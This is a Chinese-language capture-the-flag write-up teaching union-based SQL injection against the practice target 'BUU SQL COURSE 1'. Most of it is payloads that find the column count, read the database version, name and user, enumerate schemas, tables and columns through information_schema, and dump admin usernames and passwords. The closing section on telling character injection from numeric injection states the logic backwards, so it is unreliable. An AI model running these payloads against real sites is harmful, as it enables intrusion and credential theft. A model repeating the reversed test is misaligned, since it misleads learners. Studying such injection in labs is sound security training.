SQL注入常见利用方式(实战 BUU SQL COURSE 1)

一、SQL语句基础知识

创建数据库:

sql 复制代码
create database test1;

查看数据库:

sql 复制代码
show databases;

使用数据库:

sql 复制代码
use test1;

二、SQL注入实战

CTF题目:BUU SQL COURSE 1

打开靶机,通过按下F12,点击测试新闻1,找到了隐藏url,存在get请求传参。

于是,我们就可以在id=1后面进行注入。

1.利用联合查询 union select 探测注入点

(1)方法1

通过输入:

sql 复制代码
-1 union select 1; #

回显如下:

无回显,那就尝试注入不同的列数,看网页是否有不同的回显。
因为union select要求联合的前后请求列数必须相等,才会出结果。

sql 复制代码
id=-1 union select 1,2; #

有回显,说明列数为2。

(2)方法2

sql 复制代码
id=1 order by 2#

2.探测目标数据库名、表名、字段名、内容

由于information_schema这个库是mysql的四个基本系统库之一,它存储了mysql的库名、表名、字段名等信息。
table_schema:数据库_表名
tables:表名
schema_name :查询这个字段,回显某个数据库的库名
table_name:查询这个字段,回显某个表的表名

通过前面的联合查询语句id=-1 union select 1,2; #可知,控制联合查询1,2任意一个位置为回显位,即可带回数据。

(1)获取当前数据库的版本:

sql 复制代码
id=-1 union select 1,version();#

得到回显:

(2)获取当前连接数据库名称:

sql 复制代码
id=-1 union select 1,database();#

得到回显:

(3)获取当前连接用户:

sql 复制代码
id=-1 union select 1,user();#

得到回显:

(4)获取所有数据库列表:

sql 复制代码
id=-1 union select 1,group_concat(schema_name) from information_schema.schemata;#

得到回显:

(5)
方法一:

获取news数据库所有表名**(其他库我都试了,没flag,读者从这一步骤往后,可以每个库试一下)**

如果,我们想看news库里有什么表,输入:

sql 复制代码
id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema ='news';#

得到回显:

(6)查询news数据库中 admin 表的字段名:

sql 复制代码
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema ='news' and table_name ='admin';#

得到字段password (id和username字段在这道题中,我不需要):

(7)查询new库中admin表中的passsword字段值,拿到了登录密码:

sql 复制代码
id=-1 union select 1,password from news.admin;#

方法二:

从建立连接的数据库中,查询数据库名、表名:

sql 复制代码
id=-1 union select database(),group_concat(table_name) from information_schema.tables where table_schema=database()#

得到回显:

从建立连接的news数据库中,查询admin表的列名:

sql 复制代码
id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin' and table_schema=database()#

得到回显:

从建立连接的admin表查询password的值:

sql 复制代码
id=-1 union select group_concat(username),group_concat(password) from admin

得到回显:

最后一步就不演示了。

三、补充知识

如何判断目标靶机是字符注入、还是数字注入?[1](#如何判断目标靶机是字符注入、还是数字注入?1)

(1)拿到一个网页,先进行字符注入

sql 复制代码
id=1 order by 1#

得到回显,说明是字符注入:

(2) 后进行数字注入

sql 复制代码
 id=1' order by 1#

得到回显为空,不是数字注入:

四、参考文献


  1. BUU SQL COURSE 1 ↩︎
相关推荐
阳光九叶草LXGZXJ5 小时前
达梦数据库-报错-15-列【XXX】长度超出定义
linux·运维·数据库·sql·学习
lisw0511 小时前
数字断点如何影响供应链——并危及全球经济?
网络安全·网络攻击模型·前沿领域
阳光九叶草LXGZXJ14 小时前
达梦数据库-报错-16-MERGE INTO提示:无效的列名[XX]
linux·运维·数据库·sql·学习
sbjdhjd15 小时前
云安全 | Docker 容器逃逸复盘(二):2375 未授权接口如何突破容器管理边界
网络安全·docker·云原生·数据挖掘·开源·云计算·云安全
HackTwoHub15 小时前
Clown SRC skill第二代2.x最新版企业安全研究 Skill|证据优先的 SRC 与白盒审计工作流正式更新
网络·安全·web安全·网络安全·系统安全·密码学·安全架构
白帽攻防录15 小时前
SRC 挖洞:Certighost AD CS 域控制器伪造深度复盘,CVE-2026-54121 一个普通域用户怎么拿走整个企业域
网络·安全·web安全·网络安全·域安全
镜舟科技16 小时前
从 StarRocks 到 MIP:数据平台的下一步是“理解”
starrocks·sql·ai·prompt·agent·context·mip
hengdonghui16 小时前
Writeup 4 N1BOOK SQL注入-1
ctf·sql注入·union·字符型注入
jnrjian17 小时前
Oracle Inlist 和exists的最佳执行计划
oracle
lisw0519 小时前
数字韧性:企业如何应对数字断点?
网络安全·网络攻击模型·前沿领域